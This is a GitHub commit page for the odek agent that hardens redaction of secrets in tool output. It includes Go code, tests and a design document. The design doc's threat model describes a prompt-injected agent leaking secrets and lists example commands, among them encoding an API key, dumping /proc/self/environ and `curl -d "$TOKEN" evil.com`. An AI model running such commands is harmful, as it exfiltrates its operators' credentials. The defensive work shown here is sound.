Skip to content

Commit 681bcd9

Browse files
authored
Merge pull request #4 from BackendStack21/fix/redact-known-value-leaks
fix(redact): close secret-leak gaps on the tool output surface
2 parents 7c198c9 + 4a57372 commit 681bcd9

5 files changed

Lines changed: 451 additions & 1 deletion

File tree

cmd/odek/subagent.go

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -13,6 +13,7 @@ import (
1313
"github.com/BackendStack21/odek/internal/config"
1414
"github.com/BackendStack21/odek/internal/danger"
1515
"github.com/BackendStack21/odek/internal/llm"
16+
"github.com/BackendStack21/odek/internal/redact"
1617
"github.com/BackendStack21/odek/internal/render"
1718
"github.com/BackendStack21/odek/internal/skills"
1819
)
@@ -263,6 +264,9 @@ func subagentCmd(args []string) error {
263264
// tool the agent runs that prints its own env.
264265
if fdKey := readKeyFromInheritedFD(); fdKey != "" {
265266
resolved.APIKey = fdKey
267+
// Register the FD-supplied key so it is redacted from tool output
268+
// (LoadConfig only saw the env-resolved value, which may be empty here).
269+
redact.RegisterSecret(fdKey)
266270
}
267271

268272
// Apply parent-supplied trust constraints. When the parent marked the

docs/REDACTION_HARDENING.md

Lines changed: 127 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,127 @@
1+
# Redaction Hardening Plan
2+
3+
Status: in progress. The first increment (known-value redaction + Telegram
4+
token pattern) ships in `internal/redact`. This document is the roadmap for
5+
making the redaction layer robust against the full set of known attacks on
6+
**the tools surface**, and an honest statement of what redaction can and
7+
cannot defend.
8+
9+
---
10+
11+
## Scope and why
12+
13+
odek's redaction layer (`internal/redact`) sanitises **tool output** before it
14+
is appended to the conversation and persisted to the session
15+
(`internal/loop/loop.go`, `internal/session/session.go`). It exists so that a
16+
secret which surfaces in a command's output — accidentally or because a
17+
prompt-injected agent went looking for it — does not end up in the transcript,
18+
the session file, the model provider's logs, or a Telegram chat.
19+
20+
The surface we harden is deliberately narrow: **what tools return to the
21+
agent.** We do *not* try to scrub odek's own process environment, because the
22+
agent process legitimately needs its secrets — above all the LLM API key it
23+
uses to talk to the model. Removing the key from the process is not an option;
24+
keeping it from *leaking back out through tool output* is. That makes the
25+
redaction layer the right control, and it must be as close to airtight as a
26+
lexical filter can be.
27+
28+
## Threat model (tools surface)
29+
30+
An attacker who has achieved prompt injection drives the agent to disclose a
31+
secret it can read, by routing it through tool output that returns to the
32+
transcript. Concretely:
33+
34+
| # | Vector | Example | Pre-fix status |
35+
|---|--------|---------|----------------|
36+
| 1 | Env dump of well-named, standard-format key | `env`, `printenv` | Caught (format + name patterns) |
37+
| 2 | Bare echo of a non-standard-format secret | `echo $TELEGRAM_BOT_TOKEN` | **Leaked** |
38+
| 3 | Encoded secret | `echo $API_KEY \| base64`, `\| xxd`, `\| rev` | **Leaked** |
39+
| 4 | `/proc` environ dump | `cat /proc/self/environ` | Partially (NUL-delimited, name pattern needs `NAME=`) |
40+
| 5 | Secret read from a file | `cat ~/.config/odek/secrets.env` | Depends on format |
41+
| 6 | Secret embedded in a longer string | `curl -H "x: $TOKEN" ...` echoed back in verbose output | Depends on format |
42+
43+
Vectors 2–4 are the gaps this work closes.
44+
45+
## Out of scope for redaction (documented limits)
46+
47+
These are **not** solvable by a lexical filter and must be defended elsewhere
48+
(network-egress controls, approval gating, `non_interactive: deny`):
49+
50+
- **Arbitrary transformation**`gzip`, `openssl enc`, gpg, custom character
51+
substitution, chunking a secret across multiple commands. We precompute the
52+
*common* encodings (base64, hex, url, reversed); we cannot enumerate all of
53+
them.
54+
- **Side-channel exfiltration**`curl -d "$TOKEN" evil.com`, a reverse
55+
shell, DNS tunnelling. The secret never returns to the tool surface, so
56+
redaction never sees it. This is the job of the egress denylist and
57+
`network_egress: prompt` + `non_interactive: deny` in the danger config.
58+
59+
Redaction is a **safety net against disclosure into the transcript**, not a
60+
guarantee against a determined exfiltration attempt. Defense in depth: pair it
61+
with the egress controls.
62+
63+
---
64+
65+
## Design
66+
67+
Two cooperating layers run inside `RedactSecrets`:
68+
69+
### Layer 1 — Known-value redaction (new)
70+
71+
odek knows its own secrets. We register them at startup and redact the exact
72+
values — plus their common encodings — wherever they appear, regardless of
73+
format. This closes vectors 2, 3, and 4 for odek's own secrets.
74+
75+
- `RegisterSecret(value)` — records a value and its encodings: base64
76+
(std/raw/url), hex (upper/lower), percent-encoding, reversed.
77+
- `RegisterSecretsFromEnv()` — registers values of env vars whose name has a
78+
secret-bearing segment (`KEY`, `TOKEN`, `SECRET`, `PASSWORD`, `PASS`,
79+
`CREDENTIAL`, …), matched on whole `_`/`-` segments so `GIT_AUTHOR_NAME`
80+
(AUTHOR) and `compass` (PASS) are *not* treated as secrets.
81+
- Seeded once in `config.LoadConfig` from the resolved API key, the Telegram
82+
bot token, and the environment; and in the subagent path for the
83+
FD-supplied key.
84+
- Values shorter than `minSecretLen` (8) are ignored to avoid over-redacting
85+
ordinary text. Matching is literal (a `strings.Replacer`), so no regex
86+
metacharacter or ReDoS risk from arbitrary secret contents.
87+
88+
### Layer 2 — Format patterns (existing, extended)
89+
90+
Regex patterns for secrets we *don't* hold but recognise by shape (a
91+
customer's AWS key in a file, a GitHub PAT, a private key). Extended here with
92+
a **Telegram bot token** pattern (`<bot-id>:<35-char>`), which has no `name=`
93+
context for the generic rule to catch.
94+
95+
## Implemented in this PR
96+
97+
- `internal/redact/redact.go`: known-value registry (`RegisterSecret`,
98+
`RegisterSecretsFromEnv`, `ResetSecrets`), encoding-aware literal matching,
99+
wired into `RedactSecrets` / `HasSecrets` / `CountSecrets`; Telegram
100+
bot-token pattern.
101+
- `internal/config/loader.go`: seed the registry at startup.
102+
- `cmd/odek/subagent.go`: register the FD-supplied API key.
103+
- `internal/redact/known_value_test.go`: coverage for vectors 2–4, env-scan
104+
selectivity, and the short-value guard.
105+
106+
## Follow-ups (not in this PR)
107+
108+
1. **Streaming redaction across chunk boundaries.** A secret split across two
109+
streamed tool-output chunks evades per-chunk redaction. Buffer a sliding
110+
window equal to the longest registered form.
111+
2. **Entropy heuristic for unknown secrets.** Flag high-entropy tokens of
112+
secret-like length that match no pattern and no known value, to catch
113+
third-party secrets read from files (vector 5) — tuned to avoid hashes/UUIDs.
114+
3. **Redaction telemetry.** Count redaction hits per session and surface a
115+
warning when tool output contained secrets, so operators notice exfil
116+
attempts rather than silently dropping them.
117+
4. **Argument/echo-back coverage (vector 6).** Consider redacting tool *inputs*
118+
(command strings) that embed a known value, not just outputs.
119+
5. **Periodic re-seed.** If secrets can rotate at runtime, re-run
120+
`RegisterSecretsFromEnv` on reload.
121+
122+
## Testing
123+
124+
`go test ./internal/redact/` covers each closed vector. New tests:
125+
`TestTelegramBotTokenPattern`, `TestKnownValue_BareEcho`,
126+
`TestKnownValue_Encodings`, `TestKnownValue_ProcEnvironDump`,
127+
`TestRegisterSecretsFromEnv`, `TestRegisterSecret_TooShortIgnored`.

internal/config/loader.go

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -24,6 +24,7 @@ import (
2424
"github.com/BackendStack21/odek/internal/danger"
2525
"github.com/BackendStack21/odek/internal/mcpclient"
2626
"github.com/BackendStack21/odek/internal/memory"
27+
"github.com/BackendStack21/odek/internal/redact"
2728
"github.com/BackendStack21/odek/internal/skills"
2829
"github.com/BackendStack21/odek/internal/telegram"
2930
)
@@ -727,6 +728,16 @@ func LoadConfig(cli CLIFlags) ResolvedConfig {
727728
os.Unsetenv("DEEPSEEK_API_KEY")
728729
os.Unsetenv("OPENAI_API_KEY")
729730

731+
// Seed the redaction layer with odek's own secrets so they (and their
732+
// common encodings) are stripped from any tool output, even when the
733+
// agent prints them in a format the pattern matchers don't recognise.
734+
// The API key is registered from its resolved value (the unsets above
735+
// only remove it from the environment, not from resolved.APIKey);
736+
// RegisterSecretsFromEnv covers .env / secrets.env injected values.
737+
redact.RegisterSecret(resolved.APIKey)
738+
redact.RegisterSecret(resolved.Telegram.Token)
739+
redact.RegisterSecretsFromEnv()
740+
730741
return resolved
731742
}
732743

Lines changed: 126 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,126 @@
1+
package redact
2+
3+
import (
4+
"encoding/base64"
5+
"encoding/hex"
6+
"strings"
7+
"testing"
8+
)
9+
10+
// TestTelegramBotTokenPattern covers the format-pattern gap: a bare Telegram
11+
// bot token has no name= context and no recognised key prefix, so before the
12+
// dedicated pattern it slipped through unredacted.
13+
func TestTelegramBotTokenPattern(t *testing.T) {
14+
ResetSecrets()
15+
token := "123456789:AAHfakeTokenValueExample0123456789abcdef"
16+
out := RedactSecrets("bot token is " + token)
17+
if strings.Contains(out, token) {
18+
t.Fatalf("telegram token not redacted by pattern: %q", out)
19+
}
20+
if !strings.Contains(out, "[REDACTED]") {
21+
t.Fatalf("expected [REDACTED] marker, got %q", out)
22+
}
23+
}
24+
25+
// TestKnownValue_BareEcho covers the core gap: a registered secret whose
26+
// format no pattern recognises must still be redacted when printed verbatim.
27+
func TestKnownValue_BareEcho(t *testing.T) {
28+
ResetSecrets()
29+
defer ResetSecrets()
30+
31+
// A token shape no built-in pattern matches.
32+
secret := "xz9-CUSTOM-internal-credential-2f7b1c4e8d"
33+
RegisterSecret(secret)
34+
35+
if got := RedactSecrets("value: " + secret); strings.Contains(got, secret) {
36+
t.Fatalf("registered secret leaked in bare echo: %q", got)
37+
}
38+
if !HasSecrets(secret) {
39+
t.Fatalf("HasSecrets should detect a registered value")
40+
}
41+
}
42+
43+
// TestKnownValue_Encodings covers the "echo $KEY | base64 / xxd" gap: common
44+
// encodings of a registered secret must also be redacted.
45+
func TestKnownValue_Encodings(t *testing.T) {
46+
ResetSecrets()
47+
defer ResetSecrets()
48+
49+
secret := "sk-ant-internal-do-not-leak-abcdef0123456789"
50+
RegisterSecret(secret)
51+
b := []byte(secret)
52+
53+
cases := map[string]string{
54+
"raw": secret,
55+
"base64-std": base64.StdEncoding.EncodeToString(b),
56+
"base64-raw": base64.RawStdEncoding.EncodeToString(b),
57+
"base64-url": base64.URLEncoding.EncodeToString(b),
58+
"hex-lower": hex.EncodeToString(b),
59+
"hex-upper": strings.ToUpper(hex.EncodeToString(b)),
60+
"reversed": reverseString(secret),
61+
}
62+
for name, enc := range cases {
63+
out := RedactSecrets("leaked=" + enc)
64+
if strings.Contains(out, enc) {
65+
t.Errorf("%s encoding leaked: %q", name, out)
66+
}
67+
}
68+
}
69+
70+
// TestKnownValue_ProcEnvironDump simulates `cat /proc/self/environ`, whose
71+
// NUL-delimited output the literal matcher handles regardless of delimiters.
72+
func TestKnownValue_ProcEnvironDump(t *testing.T) {
73+
ResetSecrets()
74+
defer ResetSecrets()
75+
76+
secret := "telegram-bot-secret-value-9988776655"
77+
RegisterSecret(secret)
78+
79+
dump := "PATH=/usr/bin\x00HOME=/root\x00TELEGRAM_BOT_TOKEN=" + secret + "\x00TERM=xterm"
80+
out := RedactSecrets(dump)
81+
if strings.Contains(out, secret) {
82+
t.Fatalf("secret leaked in /proc environ dump: %q", out)
83+
}
84+
}
85+
86+
// TestRegisterSecretsFromEnv only registers values of sensitively-named vars.
87+
func TestRegisterSecretsFromEnv(t *testing.T) {
88+
ResetSecrets()
89+
defer func() {
90+
osEnviron = defaultOsEnviron
91+
ResetSecrets()
92+
}()
93+
94+
secret := "anthropic-key-value-abcdefghij1234567890"
95+
authorName := "Jane Developer"
96+
osEnviron = func() []string {
97+
return []string{
98+
"ANTHROPIC_API_KEY=" + secret,
99+
"GIT_AUTHOR_NAME=" + authorName, // AUTHOR must NOT be treated as secret
100+
"PATH=/usr/bin",
101+
}
102+
}
103+
RegisterSecretsFromEnv()
104+
105+
if got := RedactSecrets("k=" + secret); strings.Contains(got, secret) {
106+
t.Errorf("env secret not redacted: %q", got)
107+
}
108+
if got := RedactSecrets("author is " + authorName); !strings.Contains(got, authorName) {
109+
t.Errorf("non-secret env var over-redacted: %q", got)
110+
}
111+
}
112+
113+
// TestRegisterSecret_TooShortIgnored guards against over-redacting short
114+
// values that would collide with ordinary text.
115+
func TestRegisterSecret_TooShortIgnored(t *testing.T) {
116+
ResetSecrets()
117+
defer ResetSecrets()
118+
119+
RegisterSecret("abc") // below minSecretLen
120+
if HasSecrets("abc appears in normal prose") {
121+
t.Fatalf("short value should not have been registered")
122+
}
123+
}
124+
125+
// defaultOsEnviron preserves the production osEnviron for restore in tests.
126+
var defaultOsEnviron = osEnviron

0 commit comments

Comments
 (0)